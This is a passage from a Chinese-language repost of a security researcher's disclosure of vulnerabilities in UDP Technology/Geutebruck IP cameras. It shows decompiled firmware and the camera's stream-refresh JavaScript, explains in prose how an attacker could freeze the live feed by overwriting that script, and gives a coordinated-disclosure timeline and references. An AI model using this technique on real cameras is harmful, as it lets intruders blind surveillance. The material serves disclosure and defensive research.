LAB_00008d3c; // if it fails then it quit the program        }        printHead("text/html");        errorPrint("GetSnapshot error2");        goto LAB_00008c54;      }LAB_00008d3c:      STATUS_delete(g_statusHandle,1);       UHL_streamCleanUp();      iVar1 = 0;    }  }}

回到 Web 浏览器中的 JavaScript 部分,pushImage()定义了一个函数,以便从 FastCGI 端点获取帧,并在无限循环中非常快速地将其推送到浏览器页面,使其看起来像一个视频。其代码如下:

function pushImage() {  loadImage = function() {    if(snapshot_play === false) {      return;    }    $("#snapshotArea").attr("src", ImageBuf.src);    $("#snapshotArea").show();    var tobj = new Date();
ImageBuf.src = snapshot_url + "?_=" + tobj.getTime(); delete tobj; } var ImageBuf = new Image(); $(ImageBuf).load(loadImage); $(ImageBuf).error(function() { delete ImageBuf; setTimeout(pushImage, 1000); });
ImageBuf.src = snapshot_url; //[1]}

将所有部分收集在一起,冻结相机实时流显示很简单,可以通过覆盖 JavaScript 文件内容并使用硬编码图像路径修改突出显示的行 [1] 来完成,该路径可以是相机在拍摄时拍摄的随机图像攻击者或由攻击者上传。


下图展示了 Metasploit 脚本概念的执行证明:

【安全分析】UDP 技术 IP 摄像机漏洞

此后漏洞利用模块将在本博文发布后不久与这些漏洞的利用一起发布。

【安全分析】UDP 技术 IP 摄像机漏洞

时间线

  • 25/02/2021:向 Geutebruck ICS-CERT 发送报告邮件(4 个新的 0day 漏洞影响使用 1.12.0.27 固件的 Geutebruck IP 摄像机)

  • 26/02/2021:由 Geutebruck 确认

  • 26/02/2021:将附加报告 (BoF) 邮寄给 Geutebruck、ICS-CERT

  • 2021 年 3 月 12 日:向 Geutebruck、ICS-CERT 发送后续邮件

  • 15/03/2021:由 Geutebruck 确认

  • 02/04/2021:将完整报告(4 BoF、7 cmd inj、1 auth bypass)邮寄给Geutebruck、ICS-CERT

  • 06/04/2021:由 Geutebruck 确认

  • 20/05/2021:没有来自 ICS-CERT 的消息,所以 -> 邮寄到 [email protected]

  • 20/05/2021:通过 [email protected] 确认

  • 21/05/2021:将完整报告邮寄给 [email protected]

  • 25/05/2021:[email protected] 确认

  • 26/05/2021:Geutebruck 确认“UDP 告诉我们他们将生产新固件”

  • 28/05/2021:Geutebruck 的 ack,“到目前为止,负责 IPN 漏洞的工程师现在正在休产假(......)我怀疑固件的部署仍然需要一些时间。” <- 认真的?

  • 28/05/2021:向 Geutebruck、[email protected] 发送后续邮件:完整公开 02/07

  • 2021 年 6 月 30 日:Geutebruck 邮寄新固件!

  • 2021 年 6 月 30 日:邮寄给 Geutebruck,[email protected]:我们推迟完整披露,我们想先检查新固件是否修复了漏洞

  • 05/07/2021:邮寄给 Geutebruck,[email protected]:新固件修复了漏洞!

  • 08/07/2021:发布此博文


参考

  • ELF:可执行和可链接格式 - 维基百科

https://fr.wikipedia.org/wiki/Executable_and_Linkable_Format


  • MTD:通用 MTD 文档 - 内存技术设备

http://www.linux-mtd.infradead.org/doc/general.html


  • 使用 MTD 设备:使用 MTD 设备 - OpenSource ForU

https://www.opensourceforu.com/2012/01/working-with-mtd-devices/


  • 基于 Linux 的物联网恶意软件的持久性:基于 Linux 的物联网恶意软件的持久性 - Calvin Brierley、Jamie Pont、Budy Aried、David J. Barnes 和 Julia Hernandez-Castro

https://www.cs.kent.ac.uk/people/staff/ba284/Papers/NordSec2020.pdf


  • JFFS2 : JFFS2: The jounalling Flash File System, version 2 - Sourceware, David Woodhouse

https://sourceware.org/jffs2/


  • jefferson : jefferson : JFFS2 文件系统提取工具 - sviehb

https://github.com/sviehb/jefferson


  • popen : popen(3) - Linux 手册页

https://man7.org/linux/man-pages/man3/popen.3.html


  • system : system(3) - Linux 手册页

https://man7.org/linux/man-pages/man3/system.3.html


  • exec : exec(3) — Linux 手册页

https://man7.org/linux/man-pages/man3/system.3.html


  • phrack:为了乐趣和利润而粉碎堆栈 - Phrack 杂志

http://phrack.org/issues/49/14.html


  • 漏洞利用数据库:基于堆栈的缓冲区溢出漏洞利用教程

https://www.exploit-db.com/docs/english/28475-linux-stack-based-buffer-overflows.pdf


  • SSP:缓冲区溢出 - 维基百科

https://en.wikipedia.org/wiki/Buffer_overflow_protection


  • NX : NX 位 - 维基百科

https://en.wikipedia.org/wiki/NX_bit


  • ASLR:地址空间布局随机化 - 维基百科

https://en.wikipedia.org/wiki/Address_space_layout_randomization


  • ROP : 骨头上无辜肉体的几何结构:没有函数调用的返回到 libc(在 x86 上)-Hovav Shacham

https://acmccs.github.io/papers/geometry-ccs07.pdf

【安全分析】UDP 技术 IP 摄像机漏洞

本文始发于微信公众号(Ots安全):【安全分析】UDP 技术 IP 摄像机漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: